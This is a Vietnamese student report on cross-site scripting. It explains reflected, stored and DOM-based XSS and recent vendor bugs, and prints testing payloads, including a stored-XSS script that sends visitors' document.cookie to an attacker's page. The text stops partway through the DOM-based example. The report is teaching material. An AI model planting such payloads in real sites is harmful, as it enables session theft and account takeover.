báo cáo đề tài tìm hiểu lỗ hổng XSS

HỌC VIỆN KỸ THUẬT MẬT MÃ

KHOA AN TỒN THƠNG TIN
----------

BÀI TẬP LỚN MƠN HỌC

CƠ SỞ AN TỒN THƠNG TIN
Đề tài:

TÌM HIỂU VỀ LỖ HỔNG CROSS - SITE-SCRIPTING
Sinh viên thực hiện:::

AT140811 Dương Viết Hưng
AT150622 Lê Thị Hương
AT150328 Kiều Duy Khánh

Hà Nội, 09-2021


PHẦN NHẬN XÉT CỦA GIÁO VIÊN
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………
……………………………………………………………………………………

……………………………………………………………………………………

2


MỤC LỤC
LỜI MỞ ĐẦU................................................................................................................... 4
1. Lý do chọn đề tài..................................................................................................4
2.

Mục tiêu.....................................................................................................................4

3.

Bố cục......................................................................................................................... 4

CHƯƠNG 1. CƠ SỞ LÝ THUYẾT................................................................................5
1. Giới thiệu chung..................................................................................................5
1.1 Khái niệm...........................................................................................................6
1.2 Các nguy cơ tiềm ẩn từ lỗ hổng XSS trong thực tế.............................................7
1.3 Một số lỗ hổng XSS được phát hiện gần đây......................................................8
1.3.1 Lỗ hổng XSS của Microsoft Edge......................................................................8
1.3.2 Lỗ hổng iCloud XSS của Apple..........................................................................9
1.3.3 Lỗ hổng XSS trong Ví chuyển đổi tiền tệ PayPal...............................................9
CHƯƠNG 2. CÁC DẠNG TẤN CƠNG XSS...............................................................10
2.1 Reflected XSS...................................................................................................10
2.1.1 Ngun lý tấn cơng..........................................................................................10
2.1.2 Tìm kiếm và kiểm tra........................................................................................11
2.2 Stored XSS.......................................................................................................15
2.2.1 Tổng quan về Stored XSS.................................................................................15

2.2.2 Ví Dụ...............................................................................................................16
2.2.3 Kịch bản tấn cơng............................................................................................21
2.3 DOM-based XSS..............................................................................................22
2.3.1 Tổng quan về Dom-based XSS.........................................................................22
2.3.2 Ví dụ đơn giản về tấn công Dom-based XSS....................................................23
2.3.3 Sơ đồ tấn công cơ bản.....................................................................................27
CHƯƠNG 3. CÁC BIỆN PHÁP PHỊNG CHỐNG XSS............................................28
1.

Lọc đầu vào.............................................................................................................28

2.

Mã hóa.....................................................................................................................28

3.

Sử dụng tường lửa WAF.........................................................................................28

4.

Sử dụng Javascript framework (React, Angular, …)...........................................28

5.

Sử dụng Development Tools...................................................................................28

6.

Quét mã độc trên website.......................................................................................29

3


7.

Sử dụng HTTPOnly flag.........................................................................................29

LỜI MỞ ĐẦU
Lý do chọn đề tài
Với sự phát triển của các công nghệ phát triển web và các phát minh đổi mới
như Internet of things (IoT), các dịch vụ internet trở nên phổ biến rộng rãi. Chính
sự sinh sơi nảy nở của Internet khiến sự bùng nổ về việc sử dụng các dịch vụ
internet liên quan đến tin tức, liên lạc tầm xa, mạng xã hội,… đặc biệt với bối cảnh
dịch bệnh COVID-19 thì điều này trở thành thiết yếu trong đời sống mọi người để
có thể duy trì cuộc sống bình thường mới. Dữ liệu được cung cấp bởi người dùng
không chỉ đem lại lợi ích cho các tổ chức còn trở thành mục tiêu chính cho những
kẻ có ý đồ xấu. Những trang web đang trở thành điểm nóng của những tệp tin nguy
hiểm gây ảnh hưởng xâm phạm đến sự riêng tư của người dùng.
Cross-Site Scripting (XSS) là tấn công theo dạng injection và được xếp trong
top 10 những nguy cơ bảo mật ứng dụng web bởi tổ chức OWASP. Lỗ hổng này đã
hiện diện trên gần 80% ở các ứng dụng web nổi tiếng trên internet hiện nay. Là
sinh viên ATTT, nhóm em chọn đề tài này để làm rõ về lỗ hổng này, nghiên cứu
các cách tấn cơng từ đó có thể đưa ra các cách giải pháp phòng chống phù hợp.

1. Mục tiêu
 Hiểu rõ về bản chất, đặc điểm, có khả năng phân loại các cuộc tấn cơng
XSS.
 Biết cách thực hiện tấn công lỗ hổng XSS trong ứng dụng web thực tế.
 Có thể đưa ra các giải pháp phòng chống XSS.

2. Bố cục
Chương 1: Cơ sở lý thuyết về XSS.
Chương 2: Chi tiết về các dạng tấn công lỗ hổng XSS trên ứng dụng web
4


Chương 3: Các phương pháp phòng chống

5


CHƯƠNG 1. CƠ SỞ LÝ THUYẾT
1. Giới thiệu chung
Bảo mật trên web phụ thuộc vào nhiều cơ chế khác nhau, bao gồm một khái
niệm cơ bản về sự tin cậy được gọi là Same Origin Policy. Về cơ bản, điều này
tuyên

bố

rằng

nếu

nội

dung

từ

một

trang

web

(chẳng

hạn

như ) được cấp quyền truy cập tài nguyên (như
cookie, v.v.) trên trình duyệt web , thì nội dung từ bất kỳ URL nào có cùng (1)
Lược đồ URI, (2) tên máy chủ và (3) số cổng sẽ chia sẻ các quyền này. Nội dung từ
các URL có bất kỳ thuộc tính nào trong ba thuộc tính này khác nhau sẽ phải được
cấp quyền riêng.
Các cuộc tấn công tập lệnh trên nhiều trang sử dụng các lỗ hổng đã biết trong
các ứng dụng dựa trên web, máy chủ của chúng hoặc hệ thống plug-in mà chúng
dựa vào. Khai thác một trong số những thứ này, những kẻ tấn công đưa nội dung
độc hại vào nội dung được phân phối từ trang web bị xâm phạm. Khi nội dung kết
hợp thu được đến trình duyệt web phía máy khách, tất cả nội dung đó đã được
phân phối từ nguồn đáng tin cậy và do đó hoạt động theo các quyền được cấp cho
hệ thống đó. Bằng cách tìm cách đưa các tập lệnh độc hại vào các trang web, kẻ tấn
cơng có thể có được các đặc quyền truy cập cao hơn đối với nội dung trang nhạy
cảm, cookie và nhiều thơng tin khác được trình duyệt duy trì thay mặt cho người
dùng. Các cuộc tấn công tập lệnh xuyên trang là một trường hợp code injection.
Các kỹ sư bảo mật của Microsoft đã đưa ra thuật ngữ "cross-site scripting"
vào tháng 1 năm 2000. Cụm từ "cross-site scripting" ban đầu dùng để chỉ hành
động tải ứng dụng web của bên thứ ba bị tấn công từ một trang web tấn công
không liên quan, theo cách thực thi một đoạn JavaScript do kẻ tấn công chuẩn bị
trong security context của miền được nhắm mục tiêu (lợi dụng lỗ hổng
XSS reflected hoặc non-persistent). Định nghĩa dần dần được mở rộng để bao gồm

6


các phương thức chèn mã khác, bao gồm các vectơ bền vững và không phải
JavaScript (bao gồm ActiveX, Java, VBScript, Flash, hoặc thậm chí là tập
lệnh HTML ), gây ra một số nhầm lẫn cho những người mới tham gia lĩnh
vực information security.
Các lỗ hổng XSS đã được báo cáo và khai thác từ những năm 1990. Các
trang web nổi bật bị ảnh hưởng trong quá khứ bao gồm các trang mạng xã
hội Twitter , Facebook , MySpace , YouTube và Orkut . Các lỗi tập lệnh trên nhiều
trang web kể từ đó đã vượt qua lỗi tràn bộ đệm(buffer overflows) để trở thành lỗ
hổng bảo mật được báo cáo công khai phổ biến nhất, với một số nhà nghiên cứu
vào năm 2007 ước tính có tới 68% trang web có khả năng bị tấn cơng XSS.
1.1 Khái niệm
Cross-Site Scripting - XSS là một lỗ hổng bảo mật ứng dụng web cho phép
kẻ tấn công xâm phạm các hoạt động của người dùng với một ứng dụng web. Lỗ
hổng cho phép kẻ vượt qua được Same Origin Policy, chính sách này là được thiết
kế để tách biệt các ứng dụng web khác nhau với nhau. Các lỗ hổng XSS thường
cho phép kẻ tấn công giả dạng người dùng nạn nhân, thực hiện bất kỳ hành động
nào mà nạn nhân có thể thực hiện và truy cập bất kỳ dữ liệu nào của nạn nhân. Nếu
người dùng nạn nhân có quyền truy cập đặc quyền trong ứng dụng web, thì kẻ tấn
cơng có thể có tồn quyền kiểm sốt tất cả các chức năng và dữ liệu của ứng dụng
web.
Tấn công XSS là tấn cơng thuộc loại injection, trong đó các đoạn mã độc hại
được tiêm vào các trang web tưởng như an tồn và đáng tin cậy. Tấn cơng XSS xảy
ra khi mà kẻ tấn công sử dụng ứng dụng web để gửi các đoạn mã độc hại thường là
dưới dạng script tới một người dùng khác. Lỗi này cho phép tấn công XSS thành
công khi mà ứng dụng web sử dụng input của người dùng ở bên phía client mà

7

khơng hề có cơ chế mã hóa hay lọc dữ liệu. Những đoạn mã này chạy ở bên phía
client của trình duyệt nạn nhân
Có ba loại tấn cơng XSS chính. Đó là:
 Reflected XSS, nơi tập lệnh độc hại đến từ yêu cầu HTTP hiện tại.
 Stored XSS, nơi tập lệnh độc hại đến từ cơ sở dữ liệu của trang web.
 DOM-based XSS, nơi lỗ hổng bảo mật tồn tại trong mã phía máy khách chứ
khơng phải mã phía máy chủ.
1.2 Các nguy cơ tiềm ẩn từ lỗ hổng XSS trong thực tế
Cross-site scripting cho đến nay là loại lỗ hổng ứng dụng web phổ biến nhất,
xuất hiện trong mọi danh sách Top 10 của OWASP ngay từ phiên bản đầu
tiên. Đồng thời, theo truyền thống, nó được coi là ít gây hại hơn so với SQL
injection hoặc thực thi lệnh. Nhưng mặc dù mã JavaScript độc hại được thực thi ở
phía máy khách mà khơng ảnh hưởng trực tiếp đến máy chủ, điều này không làm
cho các lỗ hổng XSS ít nguy hiểm hơn.
Tác động của một lỗ hổng XSS bị khai thác trên một ứng dụng web có thể rất
khác nhau tùy thuộc vào cuộc tấn cơng cụ thể. Bằng cách thực thi mã script trong
ngữ cảnh hiện tại của người dùng, những kẻ tấn cơng có thể đánh cắp cookie phiên
và thực hiện chiếm quyền điều khiển phiên để mạo danh nạn nhân hoặc chiếm đoạt
tài khoản của họ. Kết hợp với social engineering, điều này có thể dẫn đến việc tiết
lộ dữ liệu nhạy cảm, các cuộc tấn cơng CSRF (nếu kẻ tấn cơng có thể truy cập mã
thơng báo chống CSRF) hoặc thậm chí cài đặt phần mềm độc hại.
Nếu nạn nhân có quyền quản trị trong ứng dụng được nhắm mục tiêu, một
cuộc tấn cơng XSS thành cơng có thể được sử dụng để báo cáo đặc quyền và sau
đó thực thi mã trên máy chủ. Vì các API web HTML5 cung cấp cho trình duyệt
8


quyền truy cập nhiều hơn vào dữ liệu và phần cứng cục bộ, những kẻ tấn cơng có

thể sử dụng lỗ hổng XSS để truy cập vào các tài nguyên cục bộ của bạn, từ dữ liệu
trong bộ nhớ của trình duyệt đến máy ảnh và micrơ của bạn. XSS là một vấn đề lớn
trong bảo mật ứng dụng web.
Tác động thực tế của một cuộc tấn công XSS thường phụ thuộc vào bản chất
của ứng dụng, chức năng và dữ liệu của ứng dụng cũng như trạng thái của người
dùng bị xâm phạm. Ví dụ:
 Trong một ứng dụng brochureware, nơi tất cả người dùng đều ẩn danh và tất
cả thông tin đều được công khai, tác động thường sẽ là tối thiểu.
 Trong một ứng dụng chứa dữ liệu nhạy cảm , chẳng hạn như giao dịch ngân
hàng, email hoặc hồ sơ chăm sóc sức khỏe, tác động thường sẽ nghiêm
trọng.
 Nếu người dùng bị xâm phạm có các đặc quyền nâng cao trong ứng dụng,
thì tác động thường sẽ rất nghiêm trọng, cho phép kẻ tấn công tồn quyền
kiểm sốt ứng dụng dễ bị tấn cơng và xâm phạm tất cả người dùng và dữ
liệu của họ.
1.3 Một số lỗ hổng XSS được phát hiện gần đây
1.3.1 Lỗ hổng XSS của Microsoft Edge
Hai nhà nghiên cứu bảo mật, Vansh Devgan và Shivam Kumar Singh, đã phát
hiện ra một lỗ hổng Universal XSS nghiêm trọng trong Microsoft Edge.
Cụ thể, lỗi này thường ảnh hưởng đến tính năng dịch tự động của trình duyệt,
lỗi tồn tại trong chức năng startPageTranslation. Mã dễ bị tấn cơng của tính năng
dịch tự động đã xử lý không đúng cách “>” trong thẻ HTML. Microsoft Edge
(Internal Translator Which Comes Pre-Installed) có một đoạn mã dễ bị tấn công,
mã này thực sự lấy bất kỳ thẻ html nào có thẻ “> img mà khơng cần kiểm tra đầu
9


vào hoặc chuyển đổi payload thành văn bản trong khi dịch để thực sự là trình dịch
nội bộ đang sử dụng“> img src = x onerror = alert (1)> payload và thực thi nó dưới
dạng javascript vì khơng có kiểm tra xác thực thích hợp nào thực hiện sanitisation

hoặc chuyển đổi DOM hồn chỉnh thành văn bản và sau đó xử lý nó để dịch. Sau
khi tìm thấy lỗ hổng, các nhà nghiên cứu đã liên hệ với Microsoft vào ngày 3 tháng
6 năm 2021. Sau khi trao đổi qua lại, Microsoft cuối cùng đã phát triển một bản
sửa lỗi mà họ tung ra vào ngày 24 tháng 6 năm 2021 để tránh các cuộc tấn công
tiềm ẩn.

1.3.2 Lỗ hổng iCloud XSS của Apple
Một nhà nghiên cứu bảo mật, Vishal Bhardwaj, gần đây đã chia sẻ chi tiết về
phát hiện của mình liên quan đến một lỗ hổng ảnh hưởng đến nền tảng iCloud. Cụ
thể, anh đã phát hiện ra một lỗ hổng XSS (cross-site scripting) được lưu trữ trong
miền iCloud của Apple. Lỗi nằm trong tính năng Page / Keynotes của miền. Các lỗ
hổng Stored or Persistent XSS cho phép payload tồn tại liên tục trên trang mục
tiêu. Những lỗ hổng này đang lén lút cho phép phần mềm độc hại chạy trên các
trang bị nhiễm mà không bị phát hiện. Như đã trình bày trong bài đăng trên blog
của anh ấy , để khai thác lỗi, kẻ tấn công chỉ cần tạo một payload độc hại và gửi nó
cho bất kỳ người dùng nào. Sau khi được chia sẻ, kẻ tấn công sẽ phải thực hiện
một số thay đổi trên trang mục tiêu, lưu, truy cập lại trang bị ảnh hưởng và sau đó
đi tới menu “Cài đặt” qua cùng một trang. Sau đó, nhấp vào “Tất cả các phiên bản
trình duyệt” sẽ kích hoạt lỗ hổng trên tài khoản của người dùng mục tiêu. Sau phát
hiện này, cuối cùng anh ấy đã báo cáo nó cho Apple vào tháng 8 năm 2020.

10


1.3.3 Lỗ hổng XSS trong Ví chuyển đổi tiền tệ PayPal
Được biết, thợ săn tiền thưởng với bí danh “Cr33pb0y” đã phát hiện ra lỗ
hổng XSS nghiêm trọng được phản ánh trong công cụ chuyển đổi tiền tệ PayPal.
Cụ thể, lỗ hổng tồn tại trong tính năng này trong ví PayPal trên miền web của dịch
vụ. Chia sẻ thông tin chi tiết trong báo cáo lỗi , PayPal mô tả rằng vấn đề tồn tại do
việc người dùng nhập thông số URL khơng đúng cách. Do đó, kẻ thù có thể khai

thác lỗ hổng để đưa mã độc hại vào trình duyệt. Như đã nêu, Một điểm cuối được
sử dụng để chuyển đổi tiền tệ đã bị phát hiện có lỗ hổng reflected XSS, trong đó
thơng tin đầu vào của người dùng khơng được xử lí đúng cách trong một tham số
trong URL. Điều này có thể dẫn đến việc những kẻ tấn công tiêm JavaScript,
HTML độc hại hoặc bất kỳ loại mã nào khác mà trình duyệt có thể thực thi. Tập
lệnh độc hại sẽ thực thi trong DOM trên trình duyệt của người dùng khác mà họ
thường khơng biết hoặc không được chấp thuận. Nhà nghiên cứu đã phát hiện và
báo cáo lỗ hổng XSS cho PayPal thông qua HackerOne vào tháng 2 năm 2020.
Theo sau báo cáo, các mốc thời gian cho thấy PayPal đã giải quyết lỗi vào tháng 3
năm 2020.

CHƯƠNG 2. CÁC DẠNG TẤN CÔNG XSS
2.1 Reflected XSS
2.1.1 Ngun lý tấn cơng
Non-Persistent XSS hay cịn được biết đến là Reflected XSS – XSS phản
chiếu xảy ra khi đoạn script độc hại được phản chiếu lại trong một phản hồi đến từ
máy chủ (server). Trong dạng tấn công này, kẻ tấn công sẽ tạo ra một đường dẫn
URL và gửi đến nạn nhân bằng một phương thức nào đó có thể qua email hoặc tin
nhắn trên mạng xã hội,… Khi nạn nhân ấn vào đường dẫn độc hại này, một yêu cầu
(request) được gửi đến máy chủ (server), nhưng vì yêu cầu gửi đến server chứa
11


đoạn script độc hại mà đoạn script độc hại đó khơng hề lưu trữ bên trong máy chủ,
nên nó sẽ phản chiếu lại đoạn script độc hại này trong phản hồi tới nạn nhân. Ở
phía trình duyệt, đoạn script được thực hiện và nạn nhân sẽ dính phải cuộc tấn
cơng XSS. Loại lỗ hổng này chiếm đến 75% của các lỗ hổng XSS tồn tại trong các
ứng dụng web. Vì payload được phân phối và thực thi thông qua một yêu cầu và
phản hồi duy nhất nên cuộc tấn công này cịn có tên gọi khác là first-order XSS.
Sau đây là sơ đồ để mô tả nguyên lý tấn công đã được nêu trên:

Hình 1. 1. Mơ hình hoạt động của Reflected XSS

2.1.2 Tìm kiếm và kiểm tra
Cách tiếp cận đáng tin cậy nhất để phát hiện XSS phản chiếu là thủ tất cả
điểm đầu vào dành cho thông tin nhập vào của người dùng mà được xác định khi
mà tạo lập bản đồ của ứng dụng gồm các bước sau:
 Nhập các chuỗi kí tự vơ hại bất kì vào từng điểm đầu vào.
 Xác định tất cả các vị trí nơi mà chuỗi bị phản chiếu trong phản hồi của ứng
dụng
12


 Xác định vị trí của câu lệnh nơi mà dữ liệu phản chiếu xuất hiện cho từng
lượt phản chiếu.
 Nhập dữ liệu được sửa đổi tới câu lệnh mà sự phản chiếu xuất hiện, cố gắng
để có thể viết đoạn script bất kì vào phản hồi
 Nếu dữ liệu phản chiếu bị chặn hoặc bị lọc ngăn cho script khơng chạy
được, tìm hiểu và tìm hiểu vượt qua hệ thống lọc phòng thủ của ứng dụng.

 Xác định sự phản chiếu của dữ liệu người dùng
Bước đầu tiên của q trình kiểm thử là nhập một chuỗi kí tự vô hại tới từng
điểm đầu vào và xác định từng vị trí trong phản hồi nơi mà chuỗi phản chiếu lại:
Chọn một chuỗi bất kì mà khơng xuất hiện bất cứ đâu trong ứng dụng và chỉ
chứa các kí tự trong bảng chữ cái để ít có khả năng bị ảnh hưởng bởi bộ lọc XSS.
Ví dụ: xsstestaskdj
Nhập chuỗi này vào từng tham số, kiểm tra lần lượt từng tham số.
Giám sát phản hồi của ứng dụng cho mỗi lần xuất hiện của chuỗi. Ghi chú
từng tham số mà giá trị sao chép vào phản hồi của ứng dụng. Đây không hẳn là lỗ
hổng, nhưng mỗi chỗ được xác định có tiềm năng để có thể nghiên cứu sâu hơn

Cần lưu ý cả yêu cầu GET và POST cần được kiểm tra. Ta nên bao gồm tất cả
tham số nằm trong cả truy vấn trong URL và phần thân. Mặc dù giới hạn phạm vi
nhỏ hơn của cơ cấu giao vận tồn tại cho lỗ hổng XSS mà có thể được kích hoạt bởi
yêu cầu POST, khai thác vẫn là có thể.
Trường hợp mà XSS được tìm thấy trong u cầu POST, sử dụng “change
request method” trong BURP để thay đổi phương thức yêu cầu từ POST sang GET
để xem xét cuộc tấn cơng này có thể thực hiện với u cầu GET khơng.
Ngồi các tham số u cầu tiêu chuẩn, ta nên kiểm tra tất cả thực thể trong đó
ứng dụng xử lí các nội dung của một tiêu đề yêu cầu HTTP (HTTP request header).
Một lỗ hổng XSS bình thường hay xuất hiện ở các đoạn tin báo lỗi, nơi mà những
13


header như Referer và User-Agent được sao chép vào nội dung của đoạn tin.
Những tiêu đề (headers) này phương tiện để vận chuyển cuộc tấn công XSS phản
chiếu (reflected XSS) vì kẻ tấn cơng có thể sử dụng vật thể Flash (Flash object) để
lừa nạn nhân gọi một yêu cầu chứa tiêu đề HTTP bất kì.
 Lưu ý: Kể từ năm 2021, Adobe khơng cịn hỗ trợ trình bổ trợ Flash Player
nữa. Nội dung Flash (bao gồm cả âm thanh và video) sẽ không phát ở bất kỳ
phiên bản của tất cả các trình duyệt nữa nên điều vừa nói ở trên có thể khơng
cịn phù hợp nữa

Kiểm tra sự phản chiếu với script
Ở mỗi vị trí mà dữ liệu bị phản chiếu trong phản hồi, ta cần phải xác định
ngữ cảnh cú phát của dữ liệu đó. Ta phải tìm cách để thay đổi dữ liệu để khi mà dữ
liệu được sao chép vào chính vị trí đó trong phản hồi của ứng dụng mang lại kết
quả là đoạn script bất kì được thực thi. Một số ngữ cảnh cú pháp:
1. XSS trong giá trị thuộc tính của một thẻ:
<input type=“text” value= “xsstestaskdj”>
Với ví dụ trên cách khai thác XSS đơn giản nhất là kết thúc dấu ngoặc kép mà kết

thúc giá trị của thuộc tính, đóng thẻ <input>, và thực hiện bằng cách thêm một
đoạn JavaScript mới như là thẻ <script>. Ví dụ như:
“><script>alert()</script>
Một phương án thay thế khác là ta thêm event handler chứa JavaScript
“ onclick=”alert()
2. XSS với chuỗi JavaScript
Ví dụ là trong trang trả về có chứa:
<script>var a = ‘xsstestaskdj’; var b = 123; … </script>
Ở đây dữ liệu đầu vào (input) được thêm vào trực tiếp vào trong chuỗi trong dấu
ngoặc đơn nằm trong một đoạn script tồn tại từ trước. Để có thể khai thác, ta có thể

14


kết thúc dấu ngoặc đơn rồi kết thúc khai báo bằng dấu chấm phẩy tiếp theo ta có
thể thêm đoạn JavaScript mà ta muốn:
‘; alert(1); var c=’
Chú ý vì ta đã kết thúc dấu ngoặc đơn, để ngăn lỗi xảy ra ta phải đảm bảo script
có cú pháp chính xác. Ở ví dụ trên khi biến c được khai báo và một ngoặc đơn
được mở, nó sẽ được kết thúc ngay sau đoạn code. Một cách khác cũng hiệu quả
tương tự là kết thúc dữ liệu đầu vào mà ta nhập với // để tạo ghi chú phần còn lại
của dòng
<script> var a = ‘’;alert(1); var c=’’; var b =123; … </script>
<script> var a = ‘’; alert(1); // var b = 123; …</script>
3. XSS với một thuộc tính chứa trong URL
Ví dụ ta có trang trả về có chứa:
<a href= “xsstestaskdj”>Click here</a>
Ở đây, chuỗi ta nhập vào xuất hiện ở thuộc tính href trong thẻ <a>. Trong trường
hợp này, ta có thể dùng giao thức javascript: để có thể thêm script trực tiếp vào
thuộc tính URL:

javascript:alert(1);
Bởi vì dữ liệu đầu vào được phản chiếu trong thuộc tính trong thẻ, ta cũng có thể
sử dụng event handler.
Để cho một cuộc tấn công mà hoạt động thành công trên tất cả các trình duyệt
hiện tại, ta có thể sử dụng một tên hình ảnh với một onclick event handler:
# “onclick=”javascript:alert(1)
 Chú ý: Như với mọi hình thức tấn cơng khác, hãy đảm bảo mã hóa URL bất
kì kí tự đặc biệt nào trong yêu cầu, bao gồm & = + ; và dấu cách
Ta có các bước sau để thực hiện việc kiểm tra:
1. Kiểm tra mã nguồn HTML để xác định các vị trí nơi mà chuỗi mà ta nhập bị
phản chiếu
15


2. Nếu chuỗi xuất hiện nhiều hơn một lần, từng lần xuất hiện cần phải được
xem xét như một lỗ hổng tiềm năng và phải kiểm tra từng đối tượng.
3. Từ vị trí mà người dùng có thể kiểm sốt được trong HTML, xác định cách
biến đổi nó để có thể chạy được đoạn script bất kì.
4. Kiểm tra khai thác bằng cách gửi nó đến ứng dụng. Nếu mà chuỗi nhập vào
được gửi về khơng có thay đổi gì, thì ứng dụng có điểm yếu. Kiểm tra lại
xem cú pháp sử dụng có chính xác khơng bằng cách sử dụng đoạn script để
mở một thông báo, xác định điều này có thực sự xảy ra trên trình duyệt khi
mà phản hồi được hiển thị

2.2 Stored XSS
2.2.1 Tổng quan về Stored XSS
2.2.1.1 Stored XSS là gì?

 Là hình thức tấn cơng mà ở đó cho phép kẻ tấn cơng có thể chèn một đoạn
script nguy hiểm (thường là Javascript) vào website thơng qua một chức

năng nào đó ( Ví dụ: Viết bình luận, guestbook, gửi bài, message... ) sau đó
các mã độc được lưu lại trong database của website nên gọi là Stored.
 Khi người dùng truy cập website thì những đoạn script độc hại sẽ được thực
thi => người dùng sẽ bị dính mã độc từ kẻ tấn cơng.
 Loại tấn công xss này chủ yếu tập trung vào việc khai thác “thiếu kiểm tra”
dữ liệu truyền vào khi cho người dùng nhập liệu vào hệ thống , các dữ liệu
được gửi lên server không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào cơ
sở dữ liệu
 Điển hình nhất của loại tấn cơng này là lợi dụng các trường dữ liệu nhập vào
từ người dùng: các ô comment trong trang blog, các ô điền nội dung của
thông tin tài khoản,…

16


2.2.1.2 Tác hại của Stored XSS

Thay đổi cấu trúc của toàn bộ trang web
Chuyển hướng liên kết sang trang khác
Tạo trang web hoặc form giả mạo hiển thị cho người dùng để lừa đảo, chuộc
lợi,…
Ăn cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens,…
2.2.1.3 So Sánh Reflected Xss Và Stored Xss
Bảng 2. 1. So sánh So Sánh Reflected Xss Và Stored Xss

Reflected XSS

Stored XSS

Khai thác Hacker lừa nạn nhân đăng Hacker chèn mã nguy hiểm vào

tấn công

nhập rồi truy cập đến URL để CSDL của ứng dụng, Khi Người
thực thi mã độc.

dùng truy cập vào ứng dụng thì
mã độc thực thi

Đối tượng Trực tiếp vào một số nạn nhân Tất cả nhưng người sử dụng ứng
ảnh hưởng mà hacker nhắm đến

dụng web đó

=>Stored XSS nguy hiểm hơn nhiều so với Reflected XSS
2.2.2 Ví Dụ
VD1: Trang web có chức năng comment
 Giả sử trang web có ơ nhập nội dung comment
 Với mỗi nhận xét mà người dùng nhập vào, hệ thống sẽ lưu trữ lại và hiển
thị sau đó

17


 Hacker kiểm tra web này có bị dính lỗ hổng bảo mật hay không bằng cách
nhập đoạn Script vào ô comment:
<script>alert("XSS attack!");</script>
 Đoạn mã Javascript trên sẽ được trình duyệt kích hoạt và nếu có hộp thoại
hiển thị:

18



Web dính XSS

 Hacker chèn đoạn script đánh cắp cookie người dùng:
<script>window.location.assign(" />cookie="+document.cookie)</script>
 Khi người dùng truy cập chức năng comment, cookie người dùng sẽ được
gửi tới trang của Hacker.

19


VD2: Ứng dụng web cho phép user gửi message tới admin

 Khi chèn đoạn script sau:
<script> alert(1) </script> vào khung Message

20


 Nếu Ta nhận được thông báo sau, chứng tỏ Message này bị lỗi XSS

 Hacker sẽ tấn công bằng cách gửi đoạn script độc hại

 Mã độc được lưu lại trên trang web
 Khi admin đọc message, mã độc được thực thi và gửi cookie của admin về
server của Hacker
21

2.2.3 Kịch bản tấn công

22


2.3 DOM-based XSS
2.3.1 Tổng quan về Dom-based XSS
2.3.1.1 Trước tiên chúng ta cần biết DOM là gì?

 DOM là viết tắt của Document Object Model
 Là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ liệu của
tài liệu có cấu trúc như HTML, XML.
 Mơ hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các
thành phần trong HTML, XML đều được xem như một node.

2.3.1.2 Vậy DOM-based XSS là gì?

 Như 2 phần trên là Reflected XSS và Stored XSS, chúng đều có đặc điểm
chung là các đoạn mã nguy hiểm sau khi được chèn vào sẽ được thực thi sau
response của server, có nghĩa là lỗi nằm về phía server.
 DOM-Based XSS lại đi ngược lại với đặc điểm này, mã độc sẽ được thực thi
ngay khi xử lý phía client mà khơng cần thơng qua server
 DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc
DOM của tài liệu, cụ thể là HTML.
2.3.1.3 So sánh giữa 3 loại tấn công XSS

Trên kịch bản khai thác thực tế, DOM Based có phần giống với Reflected
hơn là Stored XSS khi phải lừa người dùng truy cập vào một URL đã nhúng mã

độc.

23


Bảng 2. 2. So sánh So Sánh DOM-Based XSS và Stored XSS

DOM-Based XSS

Reflected XSS

Một loại XSS nâng cao tấn công Là loại phổ biến nhất trong đó payload
bằng cách ghi dữ liệu vào Mơ hình của kẻ tấn cơng là một phần của yêu
đối tượng tài liệu
cầu được gửi đến máy chủ web
Xảy ra bằng cách xử lý dữ liệu từ Xảy ra khi một ứng dụng lấy dữ liệu
một nguồn không đáng tin cậy sau trong một request HTTP và bao gồm
đó ghi dữ liệu tiềm ẩn nguy hiểm dữ liệu đó trong response theo cách
vào trong DOM

khơng an tồn

2.3.2 Ví dụ đơn giản về tấn cơng Dom-based XSS
 Dưới đây là 1 trang web cho phép người dùng tải lên những bài viết, trạng
thái của mình
 Chúng ta sẽ đăng tải 1 bài viết với nội dung “Hello, world !”

24

 Nội dung chúng ta vừa đăng tải sẽ được hiển thị như hình ảnh dưới đây

25